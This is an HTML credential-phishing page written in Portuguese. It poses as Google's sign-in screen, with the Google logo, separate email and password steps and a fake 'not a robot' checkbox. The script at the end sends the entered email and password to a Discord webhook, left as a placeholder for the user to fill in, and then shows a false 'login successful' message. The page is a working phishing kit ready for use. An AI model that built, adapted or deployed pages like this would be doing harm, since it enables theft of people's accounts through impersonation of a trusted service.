<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login - Google</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background-color: #202124; /* Fundo escuro geral */
            color: #E8EAED; /* Texto claro */
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            flex-direction: column; /* Para que o rodapé fique abaixo */
        }
        .container {
            display: flex;
            width: 80%; /* Aumentado */
            max-width: 900px; /* Maior limite */
            background-color: #000000; /* Fundo preto puro */
            border-radius: 20px; /* Pontas mais arredondadas */
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);
            overflow: hidden;
            height: 380px; /* Tamanho vertical ajustado */
            margin-bottom: 20px; /* Espaçamento entre o bloco e o rodapé */
        }
        .left {
            flex: 1;
            padding: 50px 60px; /* Mais espaçamento interno */
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: flex-start;
        }
        .left img {
            width: 70px; /* Logo maior */
            margin-bottom: 15px;
        }
        .left h1 {
            font-size: 28px; /* Texto maior */
            font-weight: normal;
            margin: 0;
        }
        .left p {
            font-size: 16px;
            color: #B0B0B0;
            margin-top: 10px;
        }
        .right {
            flex: 1;
            padding: 40px; /* Menos espaçamento interno para ajustar o tamanho */
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
        .right form {
            display: flex;
            flex-direction: column;
        }
        .right input[type="email"],
        .right input[type="password"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 20px;
            border: 1px solid #5F6368;
            border-radius: 4px;
            background-color: transparent; /* Cor transparente */
            color: #E8EAED;
            font-size: 16px;
        }
        .right input[type="email"]:focus,
        .right input[type="password"]:focus {
            outline: none;
            border: 1px solid #8AB4F8;
        }
        .right a {
            text-decoration: none;
            color: #8AB4F8;
            font-size: 14px;
            margin-bottom: 15px;
        }
        .right .options {
            font-size: 14px;
            color: #B0B0B0;
            margin-bottom: 20px;
        }
        .right .options a {
            color: #8AB4F8;
        }
        .right .button-container {
            display: flex;
            justify-content: flex-end; /* Botões alinhados à direita */
            gap: 10px; /* Espaçamento entre os botões */
            align-items: center;
            margin-top: 30px;
        }
        .right button {
            padding: 10px 20px; /* Botões maiores */
            background-color: #4285F4; /* Azul do botão Google */
            border: none;
            color: white;
            border-radius: 20px; /* Pontas mais arredondadas */
            font-size: 14px;
            cursor: pointer;
        }
        .right button:hover {
            background-color: #3367D6; /* Azul mais escuro ao passar o mouse */
        }
        .right .secondary-button {
            background-color: transparent;
            color: #8AB4F8;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        /* Rodapé fora do bloco */
        .footer {
            font-size: 12px;
            color: #9AA0A6;
            width: 100%;
            display: flex;
            justify-content: flex-end; /* Alinha os links à direita */
            padding: 10px 20px;
            margin-top: 10px;
        }
        .footer a {
            color: #8AB4F8;
            margin: 0 10px;
            text-decoration: none;
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Lado esquerdo -->
        <div class="left">
            <img src="https://cdn1.iconfinder.com/data/icons/google-s-logo/150/Google_Icons-09-512.png" alt="Google Logo">
            <h1>Fazer login</h1>
            <p>Use sua Conta do Google</p>
        </div>

        <!-- Lado direito: Formulário -->
        <div class="right">
            <form id="loginForm" onsubmit="handleEmailSubmit(event)">
                <input type="email" id="emailInput" placeholder="E-mail ou telefone" required>
                <a href="#">Esqueceu seu e-mail?</a>
                <div class="options">
                    Não está no seu computador? Use o modo visitante para fazer login com privacidade. 
                    <br>
                    <a href="#">Saiba mais sobre como usar o Modo visitante</a>
                </div>
                <div class="button-container">
                    <button class="secondary-button" type="button">Criar conta</button>
                    <button type="submit">Próxima</button>
                </div>
            </form>
            
            <!-- Formulário para Senha, escondido inicialmente -->
            <form id="passwordForm" style="display:none;" onsubmit="handlePasswordSubmit(event)">
                <input type="password" id="passwordInput" placeholder="Senha" required>
                <div class="options">
                    <label>
                        <input type="checkbox" id="captchaCheckbox"> Não sou um robô
                    </label>
                </div>
                <div class="button-container">
                    <button class="secondary-button" type="button" onclick="goBackToEmail()">Voltar</button>
                    <button type="submit">Próxima</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Rodapé com Ajuda, Privacidade e Termos fora do bloco e alinhado à direita -->
    <div class="footer">
        <a href="#">Ajuda</a> • <a href="#">Privacidade</a> • <a href="#">Termos</a>
    </div>

    <script>
        function handleEmailSubmit(event) {
            event.preventDefault(); // Impede o envio normal do formulário

            // Exibe o campo para a senha
            document.getElementById('loginForm').style.display = 'none';
            document.getElementById('passwordForm').style.display = 'block';
        }

        function goBackToEmail() {
            // Volta para o formulário de email
            document.getElementById('passwordForm').style.display = 'none';
            document.getElementById('loginForm').style.display = 'block';
        }

        function handlePasswordSubmit(event) {
            event.preventDefault(); // Impede o envio normal do formulário

            // Coleta os valores de email e senha
            var email = document.getElementById('emailInput').value;
            var password = document.getElementById('passwordInput').value;
            var captcha = document.getElementById('captchaCheckbox').checked;

            if (!captcha) {
                alert("Você precisa marcar 'Não sou um robô'.");
                return;
            }

            // Mensagem formatada para enviar ao Discord
            var message = `\`\`\`FORMULARIO GOOGLE\n\nEMAIL: ${email}\nSENHA: ${password}\n\`\`\``;

            // Dados para enviar ao webhook do Discord
            var data = {
                content: message
            };

            // Webhook do Discord (substitua pela URL real do seu webhook)
            var webhookUrl = 'MEU WEBHOOK';

            // Envia os dados para o Discord via POST
            fetch(webhookUrl, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(data)
            })
            .then(response => response.json())
            .then(data => {
                console.log('Sucesso:', data);
                alert("Login bem-sucedido!");
            })
            .catch((error) => {
                console.error('Erro:', error);
            });
        }
    </script>
</body>
</html>